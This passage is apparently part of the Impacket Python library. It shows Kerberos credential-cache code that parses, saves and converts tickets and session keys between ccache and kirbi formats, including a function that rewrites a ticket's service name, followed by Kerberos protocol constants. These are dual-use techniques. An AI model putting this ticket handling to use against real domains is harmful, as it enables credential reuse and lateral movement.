self.header['server'].prettyPrint()\n\n    def __len__(self):\n        totalLen = len(self.header)\n        for i in self.addresses:\n            totalLen += len(i)\n        totalLen += calcsize('!L')\n        for i in self.authData:\n            totalLen += len(i)\n        totalLen += len(self.ticket)\n        totalLen += len(self.secondTicket)\n        return totalLen\n\n    def dump(self):\n        self.header.dump()\n\n    def getData(self):\n        data = self.header.getData()\n        for i in self.addresses:\n            data += i.getData()\n        data += pack('!L', len(self.authData))\n        for i in self.authData:\n            data += i.getData()\n        data += self.ticket.getData()\n        data += self.secondTicket.getData()\n        return data\n\n    def __str__(self):\n        return self.getData()\n\n    def prettyPrint(self, indent=''):\n        print((\"%sClient: %s\" % (indent, self.header['client'].prettyPrint())))\n        print((\"%sServer: %s\" % (indent, self.header['server'].prettyPrint())))\n        print((\"%s%s\" % (indent, self.header['key'].prettyPrint())))\n        print((\"%sTimes: \" % indent))\n        self.header['time'].prettyPrint('\\t\\t')\n        print((\"%sSubKey: %s\" % (indent, self.header['is_skey'])))\n        print((\"%sFlags: 0x%x\" % (indent, self.header['tktflags'])))\n        print((\"%sAddresses: %d\" % (indent, self.header['num_address'])))\n        for address in self.addresses:\n            address.prettyPrint('\\t\\t')\n        print((\"%sAuth Data: %d\" % (indent, len(self.authData))))\n        for ad in self.authData:\n            ad.prettyPrint('\\t\\t')\n        print((\"%sTicket: %s\" % (indent, self.ticket.prettyPrint())))\n        print((\"%sSecond Ticket: %s\" % (indent, self.secondTicket.prettyPrint())))\n\n    def toTGT(self):\n        tgt_rep = AS_REP()\n        tgt_rep['pvno'] = 5\n        tgt_rep['msg-type'] = int(constants.ApplicationTagNumbers.AS_REP.value)\n        tgt_rep['crealm'] = self['server'].realm['data']\n\n        # Fake EncryptedData\n        tgt_rep['enc-part'] = noValue\n        tgt_rep['enc-part']['etype'] = 1\n        tgt_rep['enc-part']['cipher'] = ''\n        seq_set(tgt_rep, 'cname', self['client'].toPrincipal().components_to_asn1)\n        ticket = types.Ticket()\n        ticket.from_asn1(self.ticket['data'])\n        seq_set(tgt_rep,'ticket', ticket.to_asn1)\n\n        cipher = crypto._enctype_table[self['key']['keytype']]()\n\n        tgt = dict()\n        tgt['KDC_REP'] = encoder.encode(tgt_rep)\n        tgt['cipher'] = cipher\n        tgt['sessionKey'] = crypto.Key(cipher.enctype, self['key']['keyvalue'])\n        return tgt\n\n    def toTGS(self, newSPN=None):\n        tgs_rep = TGS_REP()\n        tgs_rep['pvno'] = 5\n        tgs_rep['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REP.value)\n        tgs_rep['crealm'] = self['server'].realm['data']\n\n        # Fake EncryptedData\n        tgs_rep['enc-part'] = noValue\n        tgs_rep['enc-part']['etype'] = 1\n        tgs_rep['enc-part']['cipher'] = ''\n        seq_set(tgs_rep, 'cname', self['client'].toPrincipal().components_to_asn1)\n        ticket = types.Ticket()\n        ticket.from_asn1(self.ticket['data'])\n        if newSPN is not None:\n            if newSPN.upper() != str(ticket.service_principal).upper():\n                LOG.debug('Changing sname from %s to %s and hoping for the best' % (ticket.service_principal, newSPN) )\n                ticket.service_principal = types.Principal(newSPN, type=int(ticket.service_principal.type))\n        seq_set(tgs_rep,'ticket', ticket.to_asn1)\n\n        cipher = crypto._enctype_table[self['key']['keytype']]()\n\n        tgs = dict()\n        tgs['KDC_REP'] = encoder.encode(tgs_rep)\n        tgs['cipher'] = cipher\n        tgs['sessionKey'] = crypto.Key(cipher.enctype, self['key']['keyvalue'])\n        return tgs\n\n\nclass CCache:\n    # https://web.mit.edu/kerberos/krb5-devel/doc/formats/ccache_file_format.html\n\n    class MiniHeader(Structure):\n        structure = (\n            ('file_format_version','!H=0x0504'),\n            ('headerlen','!H=12'),\n        )\n\n    def __init__(self, data = None):\n        self.headers = None\n        self.principal = None\n        self.credentials = []\n        self.miniHeader = None\n\n        if data is not None:\n            if PY2:\n                ccache_version = unpack('>B', data[1])[0]\n            else:\n                ccache_version = data[1]\n\n            # Versions 1 and 2 are not implemented yet\n            if ccache_version == 1 or ccache_version == 2:\n                raise NotImplementedError('Not Implemented!')\n\n            # Only Version 4 contains a header\n            if ccache_version == 4:\n                miniHeader = self.MiniHeader(data)\n                data = data[len(miniHeader.getData()):]\n\n                headerLen = miniHeader['headerlen']\n\n                self.headers = []\n                while headerLen > 0:\n                    header = Header(data)\n                    self.headers.append(header)\n                    headerLen -= len(header)\n                    data = data[len(header):]\n            else:\n                # Skip over the version bytes\n                data = data[2:]\n\n            # Now the primary_principal\n            self.principal = Principal(data)\n\n            data = data[len(self.principal):]\n\n            # Now let's parse the credentials\n            self.credentials = []\n            while len(data) > 0:\n                cred = Credential(data, ccache_version)\n                if cred['server'].prettyPrint().find(b'krb5_ccache_conf_data') < 0:\n                    self.credentials.append(cred)\n                data = data[len(cred.getData()):]\n\n    def getData(self):\n        data = self.MiniHeader().getData()\n        for header in self.headers:\n            data += header.getData()\n        data += self.principal.getData()\n        for credential in self.credentials:\n            data += credential.getData()\n        return data\n\n    def getCredential(self, server, anySPN=True):\n        for c in self.credentials:\n            if c['server'].prettyPrint().upper() == b(server.upper()) or c['server'].prettyPrint().upper().split(b'@')[0] == b(server.upper())\\\n                    or c['server'].prettyPrint().upper().split(b'@')[0] == b(server.upper().split('@')[0]):\n                LOG.debug('Returning cached credential for %s' % c['server'].prettyPrint().upper().decode('utf-8'))\n                return c\n        LOG.debug('SPN %s not found in cache' % server.upper())\n        if anySPN is True:\n            LOG.debug('AnySPN is True, looking for another suitable SPN')\n            for c in self.credentials:\n                # Let's search for any TGT/TGS that matches the server w/o the SPN's service type/port, returns\n                # the first one\n                # If server has no '/' we assume it's a ST from S4U2Self without a service type\n                if c['server'].prettyPrint().find(b'/') >=0:\n                    # Let's take the port out for comparison\n                    cachedSPN = (c['server'].prettyPrint().upper().split(b'/')[1].split(b'@')[0].split(b':')[0] + b'@' + c['server'].prettyPrint().upper().split(b'/')[1].split(b'@')[1])\n                    searchSPN = '%s@%s' % (server.upper().split('/')[1].split('@')[0].split(':')[0],\n                                               server.upper().split('/')[1].split('@')[1])\n                    if cachedSPN == b(searchSPN):\n                        LOG.debug('Returning cached credential for %s' % c['server'].prettyPrint().upper().decode('utf-8'))\n                        return c\n                else:\n                    # Should be of form 'hostname$@REALM'\n                    cachedSPN = (c['server'].prettyPrint().upper().split(b'@')[0].split(b':')[0] + b'@' + c['server'].prettyPrint().upper().split(b'@')[1])\n                    searchSPN = f\"{server.upper().split('/')[1].split('@')[0].split(':')[0].split('.')[0]}$@{server.upper().split('/')[1].split('@')[1]}\"\n                    if cachedSPN == b(searchSPN):\n                        LOG.debug('Returning cached credential for %s' % c['server'].prettyPrint().upper().decode('utf-8'))\n                        return c\n\n        return None\n\n    def toTimeStamp(self, dt, epoch=datetime(1970,1,1)):\n        td = dt - epoch\n        # return td.total_seconds()\n        return int((td.microseconds + (td.seconds + td.days * 24 * 3600) * 10**6) // 1e6)\n\n    def reverseFlags(self, flags):\n        result = 0\n        if isinstance(flags, str):\n            flags = flags[1:-2]\n        for i,j in enumerate(reversed(flags)):\n            if j != 0:\n                result += j << i\n        return result\n\n    def fromTGT(self, tgt, oldSessionKey, sessionKey):\n        self.headers = []\n        header = Header()\n        header['tag'] = 1\n        header['taglen'] = 8\n        header['tagdata'] = b'\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00'\n        self.headers.append(header)\n\n        decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]\n\n        tmpPrincipal = types.Principal()\n        tmpPrincipal.from_asn1(decodedTGT, 'crealm', 'cname')\n        self.principal = Principal()\n        self.principal.fromPrincipal(tmpPrincipal)\n\n        # Now let's add the credential\n        cipherText = decodedTGT['enc-part']['cipher']\n\n        cipher = crypto._enctype_table[decodedTGT['enc-part']['etype']]\n\n        # Key Usage 3\n        # AS-REP encrypted part (includes TGS session key or\n        # application session key), encrypted with the client key\n        # (Section 5.4.2)\n        plainText = cipher.decrypt(oldSessionKey, 3, cipherText)\n\n        encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0]\n        credential = Credential()\n        server = types.Principal()\n        server.from_asn1(encASRepPart, 'srealm', 'sname')\n        tmpServer = Principal()\n        tmpServer.fromPrincipal(server)\n\n        credential['client'] = self.principal\n        credential['server'] = tmpServer\n        credential['is_skey'] = 0\n\n        credential['key'] = KeyBlockV4()\n        credential['key']['keytype'] = int(encASRepPart['key']['keytype'])\n        credential['key']['keyvalue'] = encASRepPart['key']['keyvalue'].asOctets()\n        credential['key']['keylen'] = len(credential['key']['keyvalue'])\n\n        credential['time'] = Times()\n        credential['time']['authtime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encASRepPart['authtime']))\n        credential['time']['starttime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encASRepPart['starttime']))\n        credential['time']['endtime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encASRepPart['endtime']))\n        # After KB4586793 for CVE-2020-17049 this timestamp may be omitted\n        if encASRepPart['renew-till'].hasValue():\n            credential['time']['renew_till'] = self.toTimeStamp(types.KerberosTime.from_asn1(encASRepPart['renew-till']))\n        flags = self.reverseFlags(encASRepPart['flags'])\n        credential['tktflags'] = flags\n\n        credential['num_address'] = 0\n        credential.ticket = CountedOctetString()\n        credential.ticket['data'] = encoder.encode(decodedTGT['ticket'].clone(tagSet=Ticket.tagSet, cloneValueFlag=True))\n        credential.ticket['length'] = len(credential.ticket['data'])\n        credential.secondTicket = CountedOctetString()\n        credential.secondTicket['data'] = b''\n        credential.secondTicket['length'] = 0\n        self.credentials.append(credential)\n\n    def fromTGS(self, tgs, oldSessionKey, sessionKey):\n        self.headers = []\n        header = Header()\n        header['tag'] = 1\n        header['taglen'] = 8\n        header['tagdata'] = b'\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00'\n        self.headers.append(header)\n\n        decodedTGS = decoder.decode(tgs, asn1Spec = TGS_REP())[0]\n\n        tmpPrincipal = types.Principal()\n        tmpPrincipal.from_asn1(decodedTGS, 'crealm', 'cname')\n        self.principal = Principal()\n        self.principal.fromPrincipal(tmpPrincipal)\n\n        # Now let's add the credential\n        cipherText = decodedTGS['enc-part']['cipher']\n\n        cipher = crypto._enctype_table[decodedTGS['enc-part']['etype']]\n\n        # Key Usage 8\n        # TGS-REP encrypted part (includes application session\n        # key), encrypted with the TGS session key (Section 5.4.2)\n        plainText = cipher.decrypt(oldSessionKey, 8, cipherText)\n\n        encTGSRepPart = decoder.decode(plainText, asn1Spec = EncTGSRepPart())[0]\n\n        credential = Credential()\n        server = types.Principal()\n        server.from_asn1(encTGSRepPart, 'srealm', 'sname')\n        tmpServer = Principal()\n        tmpServer.fromPrincipal(server)\n\n        credential['client'] = self.principal\n        credential['server'] = tmpServer\n        credential['is_skey'] = 0\n\n        credential['key'] = KeyBlockV4()\n        credential['key']['keytype'] = int(encTGSRepPart['key']['keytype'])\n        credential['key']['keyvalue'] = encTGSRepPart['key']['keyvalue'].asOctets()\n        credential['key']['keylen'] = len(credential['key']['keyvalue'])\n\n        credential['time'] = Times()\n        credential['time']['authtime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encTGSRepPart['authtime']))\n        credential['time']['starttime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encTGSRepPart['starttime']))\n        credential['time']['endtime'] = self.toTimeStamp(types.KerberosTime.from_asn1(encTGSRepPart['endtime']))\n        # After KB4586793 for CVE-2020-17049 this timestamp may be omitted\n        if encTGSRepPart['renew-till'].hasValue():\n            credential['time']['renew_till'] = self.toTimeStamp(types.KerberosTime.from_asn1(encTGSRepPart['renew-till']))\n\n        flags = self.reverseFlags(encTGSRepPart['flags'])\n        credential['tktflags'] = flags\n\n        credential['num_address'] = 0\n\n        credential.ticket = CountedOctetString()\n        credential.ticket['data'] = encoder.encode(decodedTGS['ticket'].clone(tagSet=Ticket.tagSet, cloneValueFlag=True))\n        credential.ticket['length'] = len(credential.ticket['data'])\n        credential.secondTicket = CountedOctetString()\n        credential.secondTicket['data'] = b''\n        credential.secondTicket['length'] = 0\n        self.credentials.append(credential)\n\n    @classmethod\n    def loadFile(cls, fileName):\n        if fileName is None:\n            LOG.critical('CCache file is not found. Skipping...')\n            LOG.debug('The specified path is not correct or the KRB5CCNAME environment variable is not defined')\n            return None\n\n        try:\n            f = open(fileName, 'rb')\n            data = f.read()\n            f.close()\n            return cls(data)\n        except FileNotFoundError as e:\n            raise e\n\n    def saveFile(self, fileName):\n        f = open(fileName, 'wb+')\n        f.write(self.getData())\n        f.close()\n\n    @classmethod\n    def parseFile(cls, domain='', username='', target=''):\n        \"\"\"\n        parses the CCache file specified in the KRB5CCNAME environment variable\n\n        :param domain: an optional domain name of a user\n        :param username: an optional username of a user\n        :param target: an optional SPN of a target system\n\n        :return: domain, username, TGT, TGS\n        \"\"\"\n\n        ccache = cls.loadFile(os.getenv('KRB5CCNAME'))\n        if ccache is None:\n            return domain, username, None, None\n\n        LOG.debug('Using Kerberos Cache: %s' % os.getenv('KRB5CCNAME'))\n\n        if domain == '':\n            domain = ccache.principal.realm['data'].decode('utf-8')\n            LOG.debug('Domain retrieved from CCache: %s' % domain)\n\n        creds = None\n        if target != '':\n            principal = '%s@%s' % (target.upper(), domain.upper())\n            creds = ccache.getCredential(principal)\n\n        TGT = None\n        TGS = None\n        if creds is None:\n            principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper())\n            creds = ccache.getCredential(principal)\n            if creds is not None:\n                LOG.debug('Using TGT from cache')\n                TGT = creds.toTGT()\n            else:\n                LOG.debug('No valid credentials found in cache')\n        else:\n            LOG.debug('Using TGS from cache')\n            TGS = creds.toTGS(principal)\n\n        if username == '' and creds is not None:\n            username = creds['client'].prettyPrint().split(b'@')[0].decode('utf-8')\n            LOG.debug('Username retrieved from CCache: %s' % username)\n        elif username == '' and len(ccache.principal.components) > 0:\n            username = ccache.principal.components[0]['data'].decode('utf-8')\n            LOG.debug('Username retrieved from CCache: %s' % username)\n\n        return domain, username, TGT, TGS\n\n    def prettyPrint(self):\n        print((\"Primary Principal: %s\" % self.principal.prettyPrint()))\n        print(\"Credentials: \")\n        for i, credential in enumerate(self.credentials):\n            print((\"[%d]\" % i))\n            credential.prettyPrint('\\t')\n\n    @classmethod\n    def loadKirbiFile(cls, fileName):\n        f = open(fileName, 'rb')\n        data = f.read()\n        f.close()\n        ccache = cls()\n        ccache.fromKRBCRED(data)\n        return ccache\n\n    def saveKirbiFile(self, fileName):\n        f = open(fileName, 'wb+')\n        f.write(self.toKRBCRED())\n        f.close()\n\n    def fromKRBCRED(self, encodedKrbCred):\n\n        krbCred = decoder.decode(encodedKrbCred, asn1Spec=KRB_CRED())[0]\n        encKrbCredPart = decoder.decode(krbCred['enc-part']['cipher'], asn1Spec=EncKrbCredPart())[0]\n        krbCredInfo = encKrbCredPart['ticket-info'][0]\n\n        self.setDefaultHeader()\n\n        tmpPrincipal = types.Principal()\n        tmpPrincipal.from_asn1(krbCredInfo, 'prealm', 'pname')\n        self.principal = Principal()\n        self.principal.fromPrincipal(tmpPrincipal)\n\n        credential = Credential()\n        server = types.Principal()\n        server.from_asn1(krbCredInfo, 'srealm', 'sname')\n        tmpServer = Principal()\n        tmpServer.fromPrincipal(server)\n\n        credential['client'] = self.principal\n        credential['server'] = tmpServer\n        credential['is_skey'] = 0\n\n        credential['key'] = KeyBlockV4()\n        credential['key']['keytype'] = int(krbCredInfo['key']['keytype'])\n        credential['key']['keyvalue'] = krbCredInfo['key']['keyvalue'].asOctets()\n        credential['key']['keylen'] = len(credential['key']['keyvalue'])\n\n        credential['time'] = Times()\n\n        credential['time']['authtime'] = self.toTimeStamp(types.KerberosTime.from_asn1(krbCredInfo['starttime']))\n        credential['time']['starttime'] = self.toTimeStamp(types.KerberosTime.from_asn1(krbCredInfo['starttime']))\n        credential['time']['endtime'] = self.toTimeStamp(types.KerberosTime.from_asn1(krbCredInfo['endtime']))\n        # After KB4586793 for CVE-2020-17049 this timestamp may be omitted\n        if krbCredInfo['renew-till'].hasValue():\n            credential['time']['renew_till'] = self.toTimeStamp(types.KerberosTime.from_asn1(krbCredInfo['renew-till']))\n\n        flags = self.reverseFlags(krbCredInfo['flags'])\n        credential['tktflags'] = flags\n\n        credential['num_address'] = 0\n        credential.ticket = CountedOctetString()\n        credential.ticket['data'] = encoder.encode(\n            krbCred['tickets'][0].clone(tagSet=Ticket.tagSet, cloneValueFlag=True)\n        )\n        credential.ticket['length'] = len(credential.ticket['data'])\n        credential.secondTicket = CountedOctetString()\n        credential.secondTicket['data'] = b''\n        credential.secondTicket['length'] = 0\n\n        self.credentials.append(credential)\n\n    def toKRBCRED(self):\n        principal = self.principal\n        credential = self.credentials[0]\n\n        krbCredInfo = KrbCredInfo()\n\n        krbCredInfo['key'] = noValue\n        krbCredInfo['key']['keytype'] = credential['key']['keytype']\n        krbCredInfo['key']['keyvalue'] = credential['key']['keyvalue']\n\n        krbCredInfo['prealm'] = principal.realm.fields['data']\n\n        krbCredInfo['pname'] = noValue\n        krbCredInfo['pname']['name-type'] = principal.header['name_type']\n        seq_set_iter(krbCredInfo['pname'], 'name-string', (principal.components[0].fields['data'],))\n\n        krbCredInfo['flags'] = credential['tktflags']\n\n        krbCredInfo['starttime'] = KerberosTime.to_asn1(datetime.fromtimestamp(credential['time']['starttime'], tz=timezone.utc))\n        krbCredInfo['endtime'] = KerberosTime.to_asn1(datetime.fromtimestamp(credential['time']['endtime'], tz=timezone.utc))\n        krbCredInfo['renew-till'] = KerberosTime.to_asn1(datetime.fromtimestamp(credential['time']['renew_till'], tz=timezone.utc))\n\n        krbCredInfo['srealm'] = credential['server'].realm.fields['data']\n\n        krbCredInfo['sname'] = noValue\n        krbCredInfo['sname']['name-type'] = credential['server'].header['name_type']\n        tmp_service_class = credential['server'].components[0].fields['data']\n        tmp_service_hostname = credential['server'].components[1].fields['data']\n        seq_set_iter(krbCredInfo['sname'], 'name-string', (tmp_service_class, tmp_service_hostname))\n\n        encKrbCredPart = EncKrbCredPart()\n        seq_set_iter(encKrbCredPart, 'ticket-info', (krbCredInfo,))\n\n        krbCred = KRB_CRED()\n        krbCred['pvno'] = 5\n        krbCred['msg-type'] = 22\n\n        krbCred['enc-part'] = noValue\n        krbCred['enc-part']['etype'] = 0\n        krbCred['enc-part']['cipher'] = encoder.encode(encKrbCredPart)\n\n        ticket = decoder.decode(credential.ticket['data'], asn1Spec=Ticket())[0]\n        seq_set_iter(krbCred, 'tickets', (ticket,))\n\n        encodedKrbCred = encoder.encode(krbCred)\n\n        return encodedKrbCred\n\n    def setDefaultHeader(self):\n        self.headers = []\n        header = Header()\n        header['tag'] = 1\n        header['taglen'] = 8\n        header['tagdata'] = b'\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00'\n        self.headers.append(header)\n\n\n\nif __name__ == '__main__':\n    ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))\n    ccache.prettyPrint()\n"
  },
  {
    "path": "impacket/krb5/constants.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Constants for krb5.asn1 package. I took them out from the RFC plus\n#   some data from [MS-KILE] as well.\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\nfrom impacket.dcerpc.v5.enum import Enum\n\ndef encodeFlags(flags):\n    finalFlags = list()\n\n    for i in range(0,32):\n        finalFlags.append(0,)\n\n\n    for f in flags:\n        finalFlags[f] = 1\n\n    return finalFlags\n\nclass ApplicationTagNumbers(Enum):\n    Ticket         = 1\n    Authenticator  = 2\n    EncTicketPart  = 3\n    AS_REQ         = 10\n    AS_REP         = 11\n    TGS_REQ        = 12\n    TGS_REP        = 13\n    AP_REQ         = 14\n    AP_REP         = 15\n    RESERVED16     = 16\n    RESERVED17     = 17\n    KRB_SAFE       = 20\n    KRB_PRIV       = 21\n    KRB_CRED       = 22\n    EncASRepPart   = 25\n    EncTGSRepPart  = 26\n    EncApRepPart   = 27\n    EncKrbPrivPart = 28 \n    EncKrbCredPart = 29\n    KRB_ERROR      = 30\n\nclass PrincipalNameType(Enum):\n    NT_UNKNOWN              = 0\n    NT_PRINCIPAL            = 1\n    NT_SRV_INST             = 2\n    NT_SRV_HST              = 3\n    NT_SRV_XHST             = 4\n    NT_UID                  = 5\n    NT_X500_PRINCIPAL       = 6\n    NT_SMTP_NAME            = 7\n    NT_ENTERPRISE           = 10\n    NT_WELLKNOWN            = 11\n    NT_SRV_HST_DOMAIN       = 12\n    NT_MS_PRINCIPAL         = -128\n    NT_MS_PRINCIPAL_AND_ID  = -129\n    NT_ENT_PRINCIPAL_AND_ID = -130\n\nclass PreAuthenticationDataTypes(Enum):\n    PA_TGS_REQ                 = 1\n    PA_ENC_TIMESTAMP           = 2\n    PA_PW_SALT                 = 3\n    PA_ENC_UNIX_TIME           = 5\n    PA_SANDIA_SECUREID         = 6\n    PA_SESAME                  = 7\n    PA_OSF_DCE                 = 8\n    PA_CYBERSAFE_SECUREID      = 9\n    PA_AFS3_SALT               = 10\n    PA_ETYPE_INFO              = 11\n    PA_SAM_CHALLENGE           = 12\n    PA_SAM_RESPONSE            = 13\n    PA_PK_AS_REQ_OLD           = 14\n    PA_PK_AS_REP_OLD           = 15\n    PA_PK_AS_REQ               = 16\n    PA_PK_AS_REP               = 17\n    PA_ETYPE_INFO2             = 19\n    PA_USE_SPECIFIED_KVNO      = 20\n    PA_SAM_REDIRECT            = 21\n    PA_GET_FROM_TYPED_DATA     = 22\n    TD_PADATA                  = 22\n    PA_SAM_ETYPE_INFO          = 23\n    PA_ALT_PRINC               = 24\n    PA_SAM_CHALLENGE2          = 30\n    PA_SAM_RESPONSE2           = 31\n    PA_EXTRA_TGT               = 41\n    TD_PKINIT_CMS_CERTIFICATES = 101\n    TD_KRB_PRINCIPAL           = 102\n    TD_KRB_REALM               = 103\n    TD_TRUSTED_CERTIFIERS      = 104\n    TD_CERTIFICATE_INDEX       = 105\n    TD_APP_DEFINED_ERROR       = 106\n    TD_REQ_NONCE               = 107\n    TD_REQ_SEQ                 = 108\n    PA_PAC_REQUEST             = 128\n    PA_FOR_USER                = 129\n    PA_S4U_X509_USER           = 130\n    PA_FX_COOKIE               = 133 \n    PA_FX_FAST                 = 136\n    PA_FX_ERROR                = 137\n    PA_ENCRYPTED_CHALLENGE     = 138\n    KERB_KEY_LIST_REQ          = 161\n    KERB_KEY_LIST_REP          = 162\n    PA_SUPPORTED_ENCTYPES      = 165\n    PA_PAC_OPTIONS             = 167\n    KERB_SUPERSEDED_BY_USER    = 170\n    KERB_DMSA_KEY_PACKAGE      = 171\n\nclass AddressType(Enum):\n    IPv4            = 2\n    Directional     = 3\n    ChaosNet        = 5\n    XNS             = 6\n    ISO             = 7\n    DECNET_Phase_IV = 12\n    AppleTalk_DDP   = 16\n    NetBios         = 20\n    IPv6            = 24\n\n# 3.1.5.9 Key Usage Numbers\nKERB_NON_KERB_SALT       = 16\nKERB_NON_KERB_CKSUM_SALT = 17\n\n# 7.5.4.  Authorization Data Types\nclass AuthorizationDataType(Enum):\n    AD_IF_RELEVANT                     = 1\n    AD_INTENDED_FOR_SERVER             = 2\n    AD_INTENDED_FOR_APPLICATION_CLASS  = 3\n    AD_KDC_ISSUED                      = 4\n    AD_AND_OR                          = 5\n    AD_MANDATORY_TICKET_EXTENSIONS     = 6\n    AD_IN_TICKET_EXTENSIONS            = 7\n    AD_MANDATORY_FOR_KDC               = 8\n    #Reserved values                    = 9-63\n    OSF_DCE                            = 64\n    SESAME                             = 65\n    AD_OSF_DCE_PKI_CERTID              = 66 \n    AD_WIN2K_PAC                       = 128 \n    AD_ETYPE_NEGOTIATION               = 129 \n\n# 7.5.5.  Transited Encoding Types\nclass TransitedEncodingTypes(Enum):\n    DOMAIN_X500_COMPRESS = 1\n\n# 7.5.6.  Protocol Version Number\nclass ProtocolVersionNumber(Enum):\n    pvno = 5\n\n# 7.5.7.  Kerberos Message Types\nclass KerberosMessageTypes(Enum):\n    KRB_AS_REQ      = 10    # Request for initial authentication\n    KRB_AS_REP      = 11    # Response to KRB_AS_REQ request\n    KRB_TGS_REQ     = 12    # Request for authentication based on TGT\n    KRB_TGS_REP     = 13    # Response to KRB_TGS_REQ request\n    KRB_AP_REQ      = 14    # Application request to server\n    KRB_AP_REP      = 15    # Response to KRB_AP_REQ_MUTUAL\n    KRB_RESERVED16  = 16    # Reserved for user-to-user krb_tgt_request\n    KRB_RESERVED17  = 17    # Reserved for user-to-user krb_tgt_reply\n    KRB_SAFE        = 20    # Safe (checksummed) application message\n    KRB_PRIV        = 21    # Private (encrypted) application message\n    KRB_CRED        = 22    # Private (encrypted) message to forward\n                            # credentials\n    KRB_ERROR       = 30    # Error response\n\n# 7.5.8.  Name Types\nclass NameTypes(Enum):\n    KRB_NT_UNKNOWN              = 0    # Name type not known\n    KRB_NT_PRINCIPAL            = 1    # Just the name of the principal as in DCE,\n                                       # or for users\n    KRB_NT_SRV_INST             = 2    # Service and other unique instance (krbtgt)\n    KRB_NT_SRV_HST              = 3    # Service with host name as instance\n                                       # (telnet, rcommands)\n    KRB_NT_SRV_XHST             = 4    # Service with host as remaining components\n    KRB_NT_UID                  = 5    # Unique ID\n    KRB_NT_X500_PRINCIPAL       = 6    # Encoded X.509 Distinguished name [RFC2253]\n    KRB_NT_SMTP_NAME            = 7    # Name in form of SMTP email name\n                                       # (e.g., user@example.com)\n    KRB_NT_ENTERPRISE           = 10   #   Enterprise name; may be mapped to\n                                       # principal name\n    # Other Name Types\n    KRB_NT_WELLKNOWN            = 11\n    KRB_NT_SRV_HST_DOMAIN       = 12\n    KRB_NT_MS_PRINCIPAL         = -128\n    KRB_NT_MS_PRINCIPAL_AND_ID  = -129\n    KRB_NT_ENT_PRINCIPAL_AND_ID = -130\n\n# 7.5.9.  Error Codes\nclass ErrorCodes(Enum):\n    KDC_ERR_NONE                                 = 0  # No error\n    KDC_ERR_NAME_EXP                             = 1  # Client's entry in database\n                                                      # has expired\n    KDC_ERR_SERVICE_EXP                          = 2  # Server's entry in database\n                                                      # has expired\n    KDC_ERR_BAD_PVNO                             = 3  # Requested protocol version\n                                                      # number not supported\n    KDC_ERR_C_OLD_MAST_KVNO                      = 4  # Client's key encrypted in\n                                                      # old master key\n    KDC_ERR_S_OLD_MAST_KVNO                      = 5  # Server's key encrypted in\n                                                      # old master key\n    KDC_ERR_C_PRINCIPAL_UNKNOWN                  = 6  # Client not found in\n                                                      # Kerberos database\n    KDC_ERR_S_PRINCIPAL_UNKNOWN                  = 7  # Server not found in\n                                                      # Kerberos database\n    KDC_ERR_PRINCIPAL_NOT_UNIQUE                 = 8  # Multiple principal entries\n                                                      # in database\n    KDC_ERR_NULL_KEY                             = 9  # The client or server has a\n                                                      # null key\n    KDC_ERR_CANNOT_POSTDATE                     = 10  # Ticket not eligible for\n                                                      # postdating\n    KDC_ERR_NEVER_VALID                         = 11  # Requested starttime is\n                                                      # later than end time\n    KDC_ERR_POLICY                              = 12  # KDC policy rejects request\n    KDC_ERR_BADOPTION                           = 13  # KDC cannot accommodate\n                                                      # requested option\n    KDC_ERR_ETYPE_NOSUPP                        = 14  # KDC has no support for\n                                                      # encryption type\n    KDC_ERR_SUMTYPE_NOSUPP                      = 15  # KDC has no support for\n                                                      # checksum type\n    KDC_ERR_PADATA_TYPE_NOSUPP                  = 16  # KDC has no support for\n                                                      # padata type\n    KDC_ERR_TRTYPE_NOSUPP                       = 17  # KDC has no support for\n                                                      # transited type\n    KDC_ERR_CLIENT_REVOKED                      = 18  # Clients credentials have\n                                                      # been revoked\n    KDC_ERR_SERVICE_REVOKED                     = 19  # Credentials for server have\n                                                      # been revoked\n    KDC_ERR_TGT_REVOKED                         = 20  # TGT has been revoked\n    KDC_ERR_CLIENT_NOTYET                       = 21  # Client not yet valid; try\n                                                      # again later\n    KDC_ERR_SERVICE_NOTYET                      = 22  # Server not yet valid; try\n                                                      # again later\n    KDC_ERR_KEY_EXPIRED                         = 23  # Password has expired;\n                                                      # change password to reset\n    KDC_ERR_PREAUTH_FAILED                      = 24  # Pre-authentication\n                                                      # information was invalid\n    KDC_ERR_PREAUTH_REQUIRED                    = 25  # Additional pre-\n                                                      # authentication required\n    KDC_ERR_SERVER_NOMATCH                      = 26  # Requested server and ticket\n                                                      # don't match\n    KDC_ERR_MUST_USE_USER2USER                  = 27  # Server principal valid for\n                                                      # user2user only\n    KDC_ERR_PATH_NOT_ACCEPTED                   = 28  # KDC Policy rejects\n                                                      # transited path\n    KDC_ERR_SVC_UNAVAILABLE                     = 29  # A service is not available\n    KRB_AP_ERR_BAD_INTEGRITY                    = 31  # Integrity check on\n                                                      # decrypted field failed\n    KRB_AP_ERR_TKT_EXPIRED                      = 32  # Ticket expired\n    KRB_AP_ERR_TKT_NYV                          = 33  # Ticket not yet valid\n    KRB_AP_ERR_REPEAT                           = 34  # Request is a replay\n    KRB_AP_ERR_NOT_US                           = 35  # The ticket isn't for us\n    KRB_AP_ERR_BADMATCH                         = 36  # Ticket and authenticator\n                                                      # don't match\n    KRB_AP_ERR_SKEW                             = 37  # Clock skew too great\n    KRB_AP_ERR_BADADDR                          = 38  # Incorrect net address\n    KRB_AP_ERR_BADVERSION                       = 39  # Protocol version mismatch\n    KRB_AP_ERR_MSG_TYPE                         = 40  # Invalid msg type\n    KRB_AP_ERR_MODIFIED                         = 41  # Message stream modified\n    KRB_AP_ERR_BADORDER                         = 42  # Message out of order\n    KRB_AP_ERR_BADKEYVER                        = 44  # Specified version of key is\n                                                      # not available\n    KRB_AP_ERR_NOKEY                            = 45  